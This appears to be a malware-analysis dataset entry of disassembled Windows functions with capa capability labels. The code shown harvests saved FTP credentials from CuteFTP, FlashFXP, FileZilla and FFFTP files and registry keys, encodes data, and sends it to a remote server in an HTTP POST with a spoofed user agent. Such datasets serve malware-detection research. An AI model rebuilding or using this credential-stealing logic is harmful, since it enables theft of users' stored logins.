joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403417
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ecx, 0xfffffff8
mov eax, dword [ecx*8 + 0x415c44]
mov edx, dword [ecx*8 + 0x415c48]
bswap eax
bswap edx
mov dword [ecx*8 + 0x415c44], eax
mov dword [ecx*8 + 0x415c48], edx
inc ecx
jne 0x403422
mov ecx, 0xffffffc0
mov eax, dword [ecx*4 + 0x415d38]
mov edx, dword [ecx*4 + 0x415d24]
xor eax, dword [ecx*4 + 0x415d0c]
xor edx, dword [ecx*4 + 0x415d04]
xor eax, edx
rol eax, 1
mov dword [ecx*4 + 0x415d44], eax
inc ecx
jne 0x40344a
mov ebx, dword [0x415bf0]
mov esi, dword [0x415bf4]
mov edi, dword [0x415bf8]
push dword [0x415bfc]
pop dword [ebp - 4]
push dword [0x415c00]
pop dword [ebp - 8]
mov ecx, 0xffffffec
mov edx, esi
mov eax, edi
not edx
and eax, esi
and edx, dword [ebp - 4]
or eax, edx
add eax, dword [ecx*4 + 0x415c54]
add eax, dword [ebp - 8]
add eax, 0x5a827999
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40349d
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x415ca4]
add eax, dword [ebp - 8]
add eax, 0x6ed9eba1
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x4034d6
mov ecx, 0xffffffec
mov eax, edi
mov edx, dword [ebp - 4]
or eax, dword [ebp - 4]
and edx, edi
and eax, esi
or eax, edx
add eax, dword [ecx*4 + 0x415cf4]
add eax, dword [ebp - 8]
add eax, 0x8f1bbcdc
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x40350b
mov ecx, 0xffffffec
mov eax, esi
mov edx, edi
xor eax, dword [ebp - 4]
xor eax, edx
add eax, dword [ecx*4 + 0x415d44]
add eax, dword [ebp - 8]
add eax, 0xca62c1d6
push dword [ebp - 4]
pop dword [ebp - 8]
mov dword [ebp - 4], edi
rol esi, 0x1e
mov edi, esi
mov esi, ebx
rol ebx, 5
add ebx, eax
inc ecx
jne 0x403545
add dword [0x415bf0], ebx
add dword [0x415bf4], esi
add dword [0x415bf8], edi
mov eax, dword [ebp - 4]
add dword [0x415bfc], eax
mov eax, dword [ebp - 8]
add dword [0x415c00], eax
leave
ret

Function at 0x40359b
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x4035d1
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
or eax, eax
jne 0x4035be
mov eax, 0xffffffff
jmp 0x4035d1
mov eax, dword [eax + 0xc]
nop
or eax, eax
jne 0x4035cd
mov eax, 0xffffffff
jmp 0x4035d1
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret 4
Function at 0x4035d5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor ebx, ebx
push 6
push 1
push 2
call sub.wsock32.dll_socket
cmp eax, 0xffffffff
jne 0x4035f0
jmp 0x403652
mov ebx, eax
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.00401780
mov word [ebp - 0x10], 2
mov ecx, dword [ebp + 0x10]
xchg ch, cl
mov word [ebp - 0xe], cx
cmp dword [ebp + 0xc], 0
je 0x403617
mov eax, dword [ebp + 0xc]
jmp 0x403636
cmp dword [ebp + 0xc], 0
jne 0x403627
cmp dword [ebp + 8], 0
jne 0x403627
jmp 0x40364a
push dword [ebp + 8]
call fcn.0040359b
cmp eax, 0xffffffff
jne 0x403636
jmp 0x40364a
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x403652
push ebx
call sub.wsock32.dll_closesocket
xor ebx, ebx
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x403659
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
cmp dword [ebp + 0x10], 0
jne 0x40366f
mov eax, 1
pop edi
pop ebx
leave
ret 0xc
mov edi, dword [ebp + 0xc]
mov ebx, 0
push 0
push dword [ebp + 0x10]
push edi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x40369d
add edi, eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x40369b
mov ebx, 1
jmp 0x40369d
jmp 0x403677
mov eax, ebx
pop edi
pop ebx
leave
ret 0xc

Function at 0x4036a5
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push dword [ebp + 0xc]
pop dword [ebp - 0x10c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 1
lea eax, [ebp - 0x100]
push dword [ebp + 8]
pop dword [eax]
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x104]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0xffffffff
je 0x4036f8
or eax, eax
jne 0x4036fc
xor eax, eax
jmp 0x403701
mov eax, 1
leave
ret 8

Function at 0x403705
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.004036a5
or eax, eax
je 0x403770
push 0x5a
push dword [ebp + 8]
call fcn.004036a5
or eax, eax
jne 0x40372c
jmp 0x403770
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jle 0x403770
mov eax, dword [ebp + 0x14]
cmp byte [ebp - 1], al
jne 0x40374a
mov bl, 1
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
push dword [ebp + 0xc]
call fcn.00401082
cmp eax, dword [ebp + 0x10]
jb 0x40376c
jmp 0x403770
test ebx, ebx
je 0x40371c
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x403777
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
sub ebx, ebx
push 0x5a
push dword [ebp + 8]
call fcn.004036a5
or eax, eax
je 0x4037f8
push 0x5a
push dword [ebp + 8]
call fcn.004036a5
or eax, eax
jne 0x4037a1
jmp 0x4037f8
cmp dword [ebp + 0x10], 0x800
jbe 0x4037b1
mov eax, 0x800
jmp 0x4037b4
mov eax, dword [ebp + 0x10]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_recv
test eax, eax
jns 0x4037cc
jmp 0x4037f8
jne 0x4037d1
inc ebx
jmp 0x4037f8
push eax
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
push 0
push eax
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
call dword [edx + 0x10]
pop eax
sub dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jne 0x4037f4
inc ebx
jmp 0x4037f8
test ebx, ebx
je 0x403791
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4039d4
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov word [ebp - 4], 1
mov word [ebp - 2], 0x1e
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push 0xffff
push dword [ebp + 8]
call sub.wsock32.dll_setsockopt
leave
ret 4
Function at 0x403a02
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push edi
push ebx
mov dword [ebp - 0x54], 0
xor ebx, ebx
push 0x1000
call fcn.00401769
mov dword [ebp - 0x40], eax
push 0x1000
call fcn.00401769
mov dword [ebp - 0x48], eax
push 0x1000
call fcn.00401769
mov dword [ebp - 0x44], eax
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x40]
pop dword [ebp - 0x2c]
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0x80000000
push 0
push dword [ebp + 8]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403a84
cmp dword [ebp - 0x2c], 0
jne 0x403a89
jmp 0x403b86
mov dword [ebp - 0x50], 0xfff
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x44]
push 0x80000000
lea eax, [ebp - 0x3c]
push eax
call sub.wininet.dll_InternetCreateUrlA
or eax, eax
jne 0x403aae
jmp 0x403b86
mov eax, dword [ebp - 0x48]
mov byte [eax], 0
lea edi, [ebp - 0x3c]
mov ecx, 0x3c
xor eax, eax
rep stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x3c
push dword [ebp - 0x48]
pop dword [ebp - 0x10]
mov dword [ebp - 0x28], 0xfff
mov dword [ebp - 0xc], 0xfff
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push dword [ebp - 0x44]
call sub.wininet.dll_InternetCrackUrlA
or eax, eax
je 0x403af5
cmp dword [ebp - 0x2c], 0
jne 0x403afa
jmp 0x403b86
push dword [ebp + 0x10]
push dword [ebp - 0x40]
push dword [ebp - 0x48]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nAccept:___r_nAccept_Encoding:_identity___q0_r_nContent_Length:__lu_r_nConnection:_close_r_nContent_Type:_application_octet_stream_r_nContent_Encoding:_binary_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.0__Windows_98__r_n_r_n
push dword [ebp - 0x44]
call sub.user32.dll_wsprintfA
add esp, 0x14
movzx eax, word [ebp - 0x24]
push eax
push 0
push dword [ebp - 0x40]
call fcn.004035d5
or eax, eax
jne 0x403b28
jmp 0x403b86
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.004039d4
push dword [ebp - 0x44]
call sub.KERNEL32.DLL_lstrlenA
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x4c]
call fcn.00403659
or eax, eax
jne 0x403b4d
jmp 0x403b7e
cmp dword [ebp + 0x10], 0
je 0x403b67
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0x4c]
call fcn.00403659
or eax, eax
jne 0x403b67
jmp 0x403b7e
mov ebx, eax
or ebx, ebx
je 0x403b7e
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call fcn.0040384d
mov ebx, eax
push dword [ebp - 0x4c]
call sub.wsock32.dll_closesocket
push dword [ebp - 0x40]
call fcn.00401752
push dword [ebp - 0x44]
call fcn.00401752
push dword [ebp - 0x48]
call fcn.00401752
cmp dword [ebp - 0x54], 0
je 0x403bac
push dword [ebp - 0x54]
call fcn.00401752
mov eax, ebx
pop ebx
pop edi
leave
ret 0x10
Function at 0x403dc3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x403de2
cmp byte [eax], 0
jne 0x403de7
jmp 0x403f5f
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x403e02
push str..
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x403e0f
push 0x411eb0
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x403f5f
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x403eda
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403e6e
jmp 0x403f3a
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x403e8b
jmp 0x403f3a
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x403ea6
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x403eb0
push 0
push dword [ebp + 0xc]
call fcn.00401bcd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401c21
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00403dc3
call fcn.00401752
jmp 0x403f3a
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [ebp + 0x10], 0
jne 0x403eeb
jmp 0x403efd
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x403f3a
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
cmp dword [ebp + 0x18], 0
je 0x403f29
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
jmp 0x403f35
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call fcn.00403c89
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x403e45
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 0x14
Function at 0x40442a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x404534
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
lea eax, [ebp - 0x814]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
or eax, eax
je 0x404487
jmp 0x40452c
cmp dword [ebp - 0x814], 1
je 0x40449e
cmp dword [ebp - 0x814], 7
je 0x40449e
inc dword [ebp - 8]
jmp 0x404454
push str.Line
lea eax, [ebp - 0x80c]
push eax
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404524
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call fcn.00401b46
or eax, eax
je 0x404524
mov dword [ebp - 0x810], eax
push 0xbeef0001
push dword [ebp + 8]
call fcn.004014e6
cmp dword [ebp - 0x814], 1
jne 0x4044fb
push 0
push dword [ebp + 8]
call fcn.004014e6
jmp 0x404505
push 1
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x818]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.0040151c
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x404454
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x404538
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4046ae
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x404590
jmp 0x4046a6
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
push 0
push 0x412003
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push 0x41200c
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push 0x412015
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x81c], 0
je 0x404664
cmp dword [ebp - 0x814], 0
je 0x404664
cmp dword [ebp - 0x818], 0
je 0x404664
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00404538
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x404562
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x404a90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404aaf
cmp byte [eax], 0
jne 0x404ab4
jmp 0x404c0d
push dword [ebp + 0xc]
call fcn.0040237e
or eax, eax
jne 0x404acf
push str..
push dword [ebp + 0xc]
call fcn.00401bcd
jmp 0x404adc
push 0x411eb0
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404c0d
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404b85
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404b37
jmp 0x404be8
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404b54
jmp 0x404be8
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401c21
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404a90
call fcn.00401752
jmp 0x404be8
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4120b9
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404be8
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404bd0
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404bd5
mov eax, 1
pop edx
or eax, eax
je 0x404be3
push edx
push dword [ebp + 8]
call fcn.00404a79
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x404b12
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 0xc
Function at 0x404e00
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404e1f
cmp byte [eax], 0
jne 0x404e24
jmp 0x404f28
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
push eax
push dword [ebp + 8]
call fcn.00404d9f
call fcn.00401752
push str..
push dword [ebp + 0xc]
call fcn.00401bcd
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.00401780
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404f28
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404f03
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea6
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404ea9
jmp 0x404f03
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x411ea8
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404ec3
jmp 0x404f03
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push dword [ebp - 0x14c]
push eax
call fcn.00401c21
push dword [ebp + 0x10]
push eax
call fcn.00401c21
push eax
push eax
push dword [ebp + 8]
call fcn.00404d9f
call fcn.00401752
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x404e81
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.00401752
leave
ret 0xc

Function at 0x404f37
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401c86
mov dword [ebp - 4], eax
or eax, eax
je 0x404fdc
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401bcd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404e00
call fcn.00401752
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401bcd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404e00
call fcn.00401752
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401bcd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404e00
call fcn.00401752
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401bcd
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.00404e00
call fcn.00401752
push dword [ebp - 4]
call fcn.00401752
leave
ret 8

Function at 0x4050e5
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401b46
or eax, eax
je 0x40515b
mov dword [ebp - 4], eax
push str.Sites.dat
push dword [ebp - 4]
call fcn.00401bcd
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004050c2
push str.Quick.dat
push dword [ebp - 4]
call fcn.00401bcd
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004050c2
push 0x4122e6
push dword [ebp - 4]
call fcn.00401bcd
push 0xbeef0002
push eax
push dword [ebp + 8]
call fcn.004050c2
push dword [ebp - 4]
call fcn.00401752
leave
ret 0x10
Function at 0x4051aa
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401c86
or eax, eax
je 0x405206
mov dword [ebp - 4], eax
push 0xbeef0000
push str.Sites.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040515f
push 0xbeef0001
push str.Quick.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040515f
push 0xbeef0002
push 0x4122e6
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.0040515f
push dword [ebp - 4]
call fcn.00401752
leave
ret 8

Function at 0x4055c1
Capabilities:
Gather filezilla information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push 0xbeef0013
push str.Server_Type
push 0x412396
push 0x412391
push 0x412387
push 0x412382
push 0x41238c
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405461
push 0xbeef0013
push 0x4123e2
push 0x4123dd
push str.Server.Port
push str.Server.User
push str.Server.Host
push str.Server.Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405461
push 0xbeef0014
push str.Last_Server_Type
push str.Last_Server_Path
push str.Last_Server_Port
push str.Last_Server_User
push str.Last_Server_Host
push str.Last_Server_Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405461
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4056e4
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40569c
jmp 0x4056dc
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401c21
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004055c1
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x405671
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x405b69
Capabilities:
Gather ffftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x411827]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x405d64
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x405bc1
jmp 0x405d5c
push 0x411803
push dword [ebp + 0xc]
call fcn.00401bcd
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401bcd
mov dword [ebp - 0x810], eax
call fcn.00401752
push 0
push 0x412648
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x81c], eax
push 0
push str.HostAdrs
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x814], eax
push 0
push 0x412651
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDir
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x41266d
push dword [ebp - 0x810]
push dword [0x411827]
call fcn.00401b46
or eax, eax
je 0x405c9b
cmp dword [ebp - 0x828], 4
jne 0x405c9b
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.00401752
jmp 0x405caf
or eax, eax
je 0x405ca5
push eax
call fcn.00401752
mov dword [ebp - 0x824], 0x15
cmp dword [ebp - 0x81c], 0
je 0x405d1d
cmp dword [ebp - 0x814], 0
je 0x405d1d
cmp dword [ebp - 0x818], 0
je 0x405d1d
push 0xbeef0000
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401548
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004014e6
push dword [ebp - 0x81c]
call fcn.00401752
push dword [ebp - 0x814]
call fcn.00401752
push dword [ebp - 0x818]
call fcn.00401752
push dword [ebp - 0x820]
call fcn.00401752
push dword [ebp - 0x810]
call fcn.00401752
inc dword [ebp - 8]
jmp 0x405b93
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8